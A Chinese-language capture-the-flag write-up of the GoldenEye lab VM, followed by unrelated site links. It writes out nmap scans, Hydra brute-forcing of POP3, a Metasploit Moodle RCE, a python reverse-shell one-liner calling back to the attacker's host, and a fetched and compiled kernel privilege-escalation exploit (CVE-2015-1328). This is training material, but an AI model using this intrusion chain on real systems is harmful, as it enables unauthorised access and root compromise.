实战流程

1,通过nmap查找本段IP中存活的机器

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap -sP 192.168.186.0/24

排查网关和已知地址,得出靶机的ip是192.168.186.138,接下来扫描端口

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap 192.168.186.138

访问80端口的页面

2,根据提示进行访问,发现需要用户名和密码

3,那就继续返回主页想办法找用户名和密码

js中提供了3个关键信息,一段url编码和2个用户名

获得用户名:

boris

natalya

获得密码:InvincibleHack3r

密码url decode下

InvincibleHack3r

逐个尝试,发现最终账号密码

boris/InvincibleHack3r

4,观察登陆页面,发现对方已将 pop3 服务配置为在非常高的非默认端口上运行

既然上面说了有非默认的端口在运行一个活动的pop3服务,因此进行nmap全端口扫描

(-p-:全端口扫描 -p3306:仅仅扫描3306端口)

nmap -p- 192.168.186.138

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 04:31 EDT

Nmap scan report for 192.168.186.138 (192.168.186.138)

Host is up (0.00053s latency).

Not shown: 65531 closed tcp ports (reset)

PORT STATE SERVICE

25/tcp open smtp

80/tcp open http

55006/tcp open unknown

55007/tcp open unknown

MAC Address: 00:0C:29:03:FC:39 (VMware)

发现55006,55007两个开放的端口,扫描端口开启的服务详细信息;

┌──(root㉿whoami)-[/home/whoami/Desktop]

└─# nmap -sS -sV -T5 -A -p55006,55007 192.168.186.138

这段信息看出这两个端口开放了pop3的mail服务的。

7、接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

echo -e 'natalya\nboris' > heiyu.txt ---将两个用户名写入txt文本中

hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3

经过2~5分钟等待,获得两组账号密码:

[55007][pop3] host: 192.168.4.202 login: natalya password: bird

[55007][pop3] host: 192.168.4.202 login: boris password: secret1!

用户:boris 密码:secret1!

用户:natalya 密码:bird

8、boris通过NC登录pop3查看邮件信封内容枚举:

nc 192.168.186.138 55007 ---登录邮箱

user boris ---登录用户

pass secret1! ---登录密码

list ---查看邮件数量

retr 1~3 ---查看邮件内容

第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。

natalya用户登录邮件查看信息:

nc 192.168.186.138 55007 ---登录邮箱

user natalya ---登录用户

pass bird ---登录密码

list ---查看邮件数量

retr 1~3 ---查看邮件内容

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

用户名:xenia

密码:RCP90rulez!

域:severnaya-station.com

网址:severnaya-station.com/gnocertdir

我们现根据邮件提示添加本地域名:severnaya-station.com

9、设置本地HOSTS文件

vim /etc/hosts

192.168.186.138 severnaya-station.com

10、访问severnaya-station.com/gnocertdir地址:

刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:

用户名:xenia

密码:RCP90rulez!

Home / My profile / Messages --->发现有一封邮件,内容发现用户名doak

11、继续爆破用户名doak的邮件

echo doak > heiyu.txt ---将用户名写入txt文本中

hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3

[55007][pop3] host: 192.168.186.138 login: doak password: goat

获得用户名密码:doak/goat

12、登录doak用户枚举邮件信息

nc 192.168.186.138 55007 ---登录邮箱

user doak ---登录用户

pass goat ---登录密码

list ---查看邮件数量

retr 1 ---查看邮件内容

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

用户名:dr_doak

密码:4England!

13、使用新的账户密码登录CMS

登录后在:Home / My home 右边发现: s3cret.txt

另外发现这是Moodle使用的2.2.3版本

Something juicy is located here: /dir007key/for-007.jpg

现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

14、访问页面:severnaya-station.com/dir007key/for-007.jpg

下载到本地:

wget http://severnaya-station.com/dir007key/for-007.jpg

根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

binwalk(路由逆向分析工具)

exiftool(图虫)

strings(识别动态库版本指令)

等查看jpg文件底层内容!

发现了base64编码的隐藏内容eFdpbnRlcjE5OTV4IQ==

使用Burpsuite破解获得密码:xWinter1995x!

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

用户名:admin

密码:xWinter1995x!

severnaya-station.com/gnocertdir

进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。

这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

15、此版本有许多漏洞利用,由于我们需要在目标计算机上进行shell访问,因此我选择使用远程代码执行(RCE)漏洞利用。

msfconsole ---进入MSF框架攻击界面

search moodle ---查找 moodle类型 攻击的模块

use 1 ---调用0 exploit/multi/http/moodle_cmd_exec调用攻击脚本

set username admin ---设置用户名:admin

set password xWinter1995x! ---设置密码:xWinter1995x!

set rhost severnaya-station.com ---设置:rhosts severnaya-station.com

set targeturi /gnocertdir ---设置目录: /gnocertdir

set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse

set lhost 192.168.186.130 ---设置:lhost 192.168.4.231(需要本地IP)

exploit ----执行命令

由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改:

Home / Site administration / Plugins / Text editors / TinyMCE HTML editor

来到此处,修改PSpellShell然后save!

然后重新exploit继续运行:获得shell

执行tty,因为获得的权限无框架:执行

python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

也可以通过python反弹shell,在以下路径中找到path to aspell

Home / ► Site administration / ► Server / ► System paths

反弹shell如下编写

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

开启监听

┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]

└─$ nc -vlp 6666

触发脚本的点路径如下图,点击如图

Home / ► My profile / ► Blogs / ► Add a new entry

此时获取python shell成功

┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]

└─$ nc -vlp 6666

Ncat: Version 7.92 ( https://nmap.org/ncat )

Ncat: Listening on :::6666

Ncat: Listening on 0.0.0.0:6666

Ncat: Connection from 192.168.186.138.

Ncat: Connection from 192.168.186.138:35301.

/bin/sh: 0: can't access tty; job control turned off

$

以上两种获得shell的方式都可以,2选一即可。

16、内核提权

uname -a 查看权限!

Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

https://www.exploit-db.com/exploits/37292

--------------------------------------------------

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

---------------------------------------------------------------------------

kali搜索下:

searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息

┌──(root㉿whoami)-[/usr/…/exploitdb/exploits/linux/local]

└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/whoami/poc

这个靶场在枚举信息知道:

无法进行GCC编译,需要改下脚本为cc

gedit 37292.c ---文本打开

第143行将gcc改为cc ---编写下

然后在本目录下开启http服务:

python -m SimpleHTTPServer 8082 (python2)

python -m http.server 8082 (python3)

目标主机中下载文件

wget http://192.168.186.130:8082/37292.c ---wget下载http服务下的文件

成功下载后执行cc编译:

cc -o exp 37292.c ---C语言的CC代码编译点c文件

chmod +x exp ---编译成可执行文件,并赋权

./exp ---点杠执行

id ---查看目前权限

发现提权成功

cat /root/.flag.txt ---读取root下的flag信息

获取flag值

脑图汇总

我的难点

1,nmap各种细节用法的使用汇总

2,hydra工具原理的理解

3,图片内容检查工具的熟悉

4,msf中RCE脚本的利用

5,通过内核提权的方法和原理

【原创】项目一GoldenEye的更多相关文章

  1. (原创)项目部署-Tomcat设置默认访问项目及项目重复加载问题处理

    主要是通过配置<Tomcat安装目录>/conf/server.xml文件 步骤: 1.打开server.xml,在</Host>的上一行添加内容格式如下 <Contex ...

  2. 【原创项目】GC Server 更新

    GC Server 是自己2年前开坑的一个项目,主要是为coder提供方便,内含轻便编译器(不含代码编辑器,就是你把.c/.cpp代码文件放到指定目录下然后打开程序编译),还有各种各样的有助于提升智力 ...

  3. [原创] 项目 watch EMFILE 报错处理过程

    目录 事件 处理过程 参考资料 小知识点 单进程文件句柄限制 系统总文件句柄限制 inotify 文件系统事件监控 事件 公司XX游戏 S114服启动失败(使用 pomelo - node.js 框架 ...

  4. IT人创业之融资方式 - 创业与投资系列文章

    对于想要创业的IT人,最基本的就是需要资金和团队.笔者在经历了自己制定的职业道路之后(见文:IT从业者的职业道路(从程序员到部门经理) - 项目管理系列文章),进行过投资(见文:IT人经济思维之投资 ...

  5. 什么是VC、PE、LP、GP?

    天使基金主要关注原创项目构思和小型初创项目,投资规模大多在300万元以下:风险投资关注初创时期企业长期投资,规模在1000万元以下:私募股权投资主要关注3年内可以上市的成熟型企业. VC即ventur ...

  6. 两年,VMware又重回巅峰?

    两年前,被公有云和容器打的焦头烂额的VMware一度被众多业界人士看衰,营收.股价双双下滑.然而,仅仅经过短短两年时间,VMware已经和AWS,IBM.微软.Rackspace等众多公有云厂商成为合 ...

  7. CorelDRAW X8官方正版特惠下载

    CorelDRAW X8自发布以来,价格居高不下,这也使一众忠粉望而却步,之前看过CorelDRAW做活动,都是X6\X7这些比较早的版本,比较新的版本也没做什么优惠,不过还好看了一下,CorelDR ...

  8. CDR发展史-CorelDRAW经历了哪些版本?

    1989年CorelDRAW横空出世,它引入了全彩矢量插图和版面设计程序,这在计算机图形领域掀起了一场风暴般的技术革新.两年后,Corel又推出了首款一体化图形套件(第 3 版),将矢量插图.版面设计 ...

  9. 【AMAD】coconut -- 简单,优雅,pythonic的函数式编程语言

    动机 简介 个人评分 动机 作者的话: 我喜欢函数式编程,我认为函数式编程提供了一个更自然的方式来思考问题,并且代码也更加优雅,易读.不过如果你看过前20个最受欢迎的编程语言,你会发现没有一个式函数式 ...

随机推荐

  1. react在移动端的自适应布局

    react+flexible适配布局 (1)npm i lib-flexible --save (2)npm i postcss-px2rem --save (3)在 node_modules/rea ...

  2. vim 下几种比较省劲的方式(vi结合着用)

    Vim的几种模式 正常模式:可以使用快捷键命令,或按:输入命令行. 插入模式:可以输入文本,在正常模式下,按i.a.o等都可以进入插入模式. 可视模式:正常模式下按v可以进入可视模式, 在可视模式下, ...

  3. keytools命令生成证书

    平时开发中可以使用keytools命令生成证书,一般常用格式为: keytool -genkey -alias tzzxxt -keyalg RSA -keypass 123456 -validity ...

  4. ASP.NET Core的几种服务器类型[共6篇]

    作为ASP.NET CORE请求处理管道的"龙头"的服务器负责监听和接收请求并最终完成对请求的响应.它将原始的请求上下文描述为相应的特性(Feature),并以此将HttpCont ...

  5. Zabbix6 网络发现

    Zabbix6 网络发现 功能 快速发现并添加主机 简单的管理 随着环境的改变而快速搭建系统 发现配置依据 IP地址段 基于服务(FTP.SSH.Web.POP3.IMAP.TCP-)的 从Zabbi ...

  6. 全国省市区县和乡镇街道行政区划矢量边界坐标经纬度地图最新数据免费下载 支持shp geojson json sql格式

    关键词: 省市区三级, 乡镇四级, 全国, 行政区划, 坐标边界, 矢量数据, 地理围栏, 免费下载, 2018 2019 2020 2021 2022年份, 最新数据, 长期更新, 开源维护, 支持 ...

  7. 计算属性、侦听属性、局部与全局组件使用、组件通信(父子互传)、ref属性、动态组件和keep-alive、插槽

    今日内容概要 计算属性 侦听属性 局部组件和全局组件 组件通信之父传子 组件通信之子传父 ref属性(组件间通信) 动态组件和keep-alive 插槽 内容详细 1.计算属性 # 插值的普通函数,只 ...

  8. Jenkins+Allure测试报告+飞书机器人发送通知

    一.前言 之前讲了jenkins如何设置定时任务执行脚本,结合实际情况,本篇讲述在jenkins构建成功后,如何生成测试报告,以及推送飞书(因为我公司用的是飞书,所以是发送到飞书机器人). 本次实践搞 ...

  9. APL 和 Web APL 的概述

    APL APl ( Application ProgrammingInterface,应用程序编程接口) 是一些预先定义的函数,目的是提供应用程序 与开发人员基于某软件或硬件得以访问一组例程的能力,而 ...

  10. 『现学现忘』Git基础 — 11、配置Git用户签名的方式

    目录 1.配置Git签名 (1)语法 (2)配置系统用户签名 (3)配置全局用户签名 (4)配置本地用户签名 2.查看三个配置文件的用户签名 (1)语法 (2)查看项目/仓库级别的配置文件信息(loc ...